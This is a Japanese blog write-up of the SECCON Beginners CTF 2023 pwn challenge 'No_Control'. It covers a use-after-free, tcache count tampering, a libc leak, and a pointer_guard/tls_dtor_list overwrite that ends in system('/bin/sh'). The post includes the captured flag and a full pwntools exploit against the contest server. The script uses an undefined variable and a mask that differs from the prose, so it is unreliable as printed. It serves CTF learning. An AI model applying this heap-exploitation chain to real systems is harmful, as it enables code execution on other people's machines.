uhyoyeah’s diary

基本的に今を生きることを書きます。

SECCON Beginners CTF 2023 writeup(No_Control)

pwnのHard問をようやく解けるようになってきたので、勉強がてらWriteupを書きます。
多少下手くそかもしれませんがご容赦ください。

ファイルの状態

セキュリティが全て有効、PIE、64bit。ソースあり。libc2.35。

$ file chall    
chall: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), 
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
for GNU/Linux 3.2.0, 
BuildID[sha1]=faa7e2ee4798355d90527ada0307ea81a8270657, not stripped

$ checksec --file=chall --output=csv
Full RELRO,Canary found,NX enabled,PIE enabled,No RPATH,RUNPATH,
Symbols,No,0,3,chall

CRUDとあるとおり、典型的なheap問のオプション。

$ ./chall
1. create
2. read
3. update
4. delete
5. exit
>

脆弱性

Write-after-free

update_memo()はメモの中身が空でもmemoのポインタが存在すれば解放されたチャンクにデータを書き込める。
→tcacheのFD/BKが改ざん可能。

void update_memo() {
    int idx;
    char *memo;
    idx = ask_index();

    if (idx < 0 || LIST_SIZE <= idx) {
        puts("Invalid index");
    } else if (memos[idx] == NULL) {
        puts("that memo is empty");
    } else {
        memo = memos[idx];
    }

    if (memo == NULL) {
        puts("something wrong");
    } else {
        printf("content: ");
        read(STDIN_FILENO, memo, MEMO_SIZE);
    }
    return;
}
Read-after-Free

create_memo()、delete_memo()を実行してtcacheに入れ、再度create_memo()を行うと、解放したtcacheが再利用され、read_memo()でtcacheのFDが読み取り可能になる。

tcacheカウントの書き換え

ここでの注意点としてTcacheのFDがGLIBC2.32からPROTECT_PTRマクロによって保護されるようになっている。
また、次のtcacheアドレスのアライメントが16バイトに沿っていないと怒られる。
https://sourcegraph.com/github.com/bminor/glibc@glibc-2.35/-/blob/malloc/malloc.c

#define PROTECT_PTR(pos, ptr) \
  ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))

次のtcacheのポインタがなければ(すなわちNULL)、単に12bit左にシフトするとheapのベースアドレスを得ることができる。

ただ、これではlibcのアドレスは出てこないので、tcacheのメタデータ(カウント数)7以上に改ざんして、次に解放したチャンクがunsortedbinに送られるようにする必要がある。
これをもとに前述のWrite-After-Freeを使ってtcacheの次のエントリをtcacheのメタデータのカウント数部分(heapベース+0x10)をポイントするようにし、0x90のサイズを7に書き換える。

tcacheのカウント、エントリがよくわからないという方は下記の記事が参考になります。
note.com

unsortedbinからのlibcリーク

0x90のtcacheのカウント数が7になったところで、更にチャンクを開放すればunsortedbinに入るが、普通に再度mallocで確保するとFD/BKが消えてしまったので、remaindering(ここでは隣接するunsortedbinチャンクを2つ作って結合させ、そこから0x90サイズを要求して切り出す)をすることでlibcのベースアドレスを得ることができた。
この作業をする前にtcacheのカウント数を再び0に戻し、unsortedbinが使われるようにする必要あり。

tls_dtor_listの改ざん

ここまでくればそれぞれのベースアドレスがわかり、任意のアドレスに任意のデータを書き込むことが可能になったので、exit_funcsのtls_dtor_listを改ざんしてsystem(/bin/sh)をやってみた。
下記がとても参考になりました。
tttang.com
hjmsan.hatenablog.com

exitの後に任意の関数を実行させるためには、tls_dtor_listに登録することになる。
その中でPTR_MANGLE(func)マクロにより保護されているため、pointer_guardの値とのXOR、RORで復元することが必要になる。
https://sourcegraph.com/github.com/bminor/glibc@glibc-2.35/-/blob/stdlib/cxa_thread_atexit_impl.c

__call_tls_dtors (void)
{
  while (tls_dtor_list)
    {
      struct dtor_list *cur = tls_dtor_list;
      dtor_func func = cur->func;
      PTR_DEMANGLE (func);

      tls_dtor_list = tls_dtor_list->next;
      func (cur->obj);

      /* Ensure that the MAP dereference happens before
	 l_tls_dtor_count decrement.  That way, we protect this access from a
	 potential DSO unload in _dl_close_worker, which happens when
	 l_tls_dtor_count is 0.  See CONCURRENCY NOTES for more detail.  */
      atomic_fetch_add_release (&cur->map->l_tls_dtor_count, -1);
      free (cur);
    }
}

https://sourcegraph.com/github.com/bminor/glibc@glibc-2.35/-/blob/sysdeps/unix/sysv/linux/x86_64/sysdep.h

#  define PTR_DEMANGLE(var)	asm ("ror $2*" LP_SIZE "+1, %0\n"	      \
				     "xor %%fs:%c2, %0"			      \
				     : "=r" (var)			      \
				     : "0" (var),			      \
				       "i" (offsetof (tcbhead_t,	      \
						      pointer_guard)))

このpointer_guardの値はtcbhead_tの構造体の0x30バイト目に存在する。
tcbhead_tはFSセグメントに保存されている。

https://sourcegraph.com/github.com/bminor/glibc@glibc-2.35/-/blob/sysdeps/x86_64/nptl/tls.h

typedef struct
{
  void *tcb;		/* Pointer to the TCB.  Not necessarily the
			   thread descriptor used by libpthread.  */
  dtv_t *dtv;
  void *self;		/* Pointer to the thread descriptor.  */
  int multiple_threads;
  int gscope_flag;
  uintptr_t sysinfo;
  uintptr_t stack_guard;
  uintptr_t pointer_guard;
  unsigned long int unused_vgetcpu_cache[2];

/* snip..... */

} tcbhead_t;
tls_dtor_list改ざんまでのアプローチ

・pointer_guardの値であるFS:0x30を任意の値にする(ここでは0にした)。
・任意の関数(system)を実行させるのに必要な計算(ROR、XOR)を行う

addr = ((system ^ 0)<<0x11)&0xffffffffffff8000 
addr += ((system ^ 0)>>0x2f)&0x7fff

tls_dtor_listにヒープのアドレスを書き込む&ヒープアドレスを下記のようにする

0x0 -> 算出したaddr
0x8 -> 0x10へのポインタ
0x10 -> /bin/sh\x00

このようにすると、プログラムをexitで終了すれば__call_tls_dtorsのcall raxでsystem(/bin/sh)が降ってきます。めでたしめでたし。

ctf4b{w1sh_y0u_w3r3_h3r3}

最終スクリプト

from pwn import *
elf = context.binary = ELF("./chall")
libc = ELF("./libc.so.6")

gs = '''
set breakpoint pending on
break __call_tls_dtors
continue
'''
def start():
    if args.GDB:
        return gdb.debug(elf.path, gdbscript=gs)
    else:
        return process(elf.path)

#io = start()

io = remote('no-control.beginners.seccon.games',9005)

def create(index):
    io.sendlineafter(b"> ",b"1")
    io.sendlineafter(b"index: ",str(index).encode())
def read(index):
    io.sendlineafter(b"> ",b"2")
    io.sendlineafter(b"index: ",str(index).encode())
def update(index,content):
    io.sendlineafter(b"> ",b"3")
    io.sendlineafter(b"index: ",str(index).encode())
    io.sendlineafter(b"content: ",content)
def delete(index):
    io.sendlineafter(b"> ",b"4")
    io.sendlineafter(b"index: ",str(index).encode())
def exit_prog():
    io.sendlineafter(b"> ",b"5")

create(0)
delete(0)
create(1)
read(1)
heap_base = u64(io.recv(5).ljust(8,b"\x00"))<<12
chunk_addr = heap_base+0x2a0

info(f"heap_base @ 0x{heap_base:02x}")
create(4)
create(2)
create(3)
create(0)
delete(3)
delete(2)
delete(0)
update(0,p64((chunk_addr>>12)^heap_base+0x10)) # to allocate tcache count
create(3)
create(2) # tcache entry
update(2,p64(0) + p64(0x0007000000000000))
delete(3)
delete(1) # create unsortedbin
delete(4)
update(2,p64(0) + p64(0x0)) # drop tcache count
create(1)
read(1)
unsorted_leak = u64(io.recv(6).ljust(8,b"\x00"))
libc.address = unsorted_leak - 0x219df0

info(f"libc_base @ 0x{libc.address:02x}")

ptr_guard = libc.address - 0x2890
dtor_list = libc.address - 0x2918-0x8 #tcache alignment
gadget = libc.sym.system

create(3)
delete(3)
delete(1)
update(1,p64((chunk_addr>>12)^ptr_guard))
create(3)
create(1)
update(1,p64(0)) # set NULL to pointer_guard

# ptr_demangle(ror,xor)
addr = ((gadget^pointer_guard)<<0x11)&0xffffffffffff8000
addr += ((gadget^pointer_guard)>>0x2f)&0x7ffff

create(4)
delete(4)
delete(3)
update(3,p64((chunk_addr>>12)^dtor_list))
create(4)
create(3)
update(3,p64(0)+p64(chunk_addr)) #register heap_addr to dtor_list

payload = p64(addr)
payload += p64(chunk_addr+0x10)
payload += b"/bin/sh\x00"

update(4,payload)
exit_prog()

io.interactive()

free_hookなくなるとほんとめんどくさく感じる・・・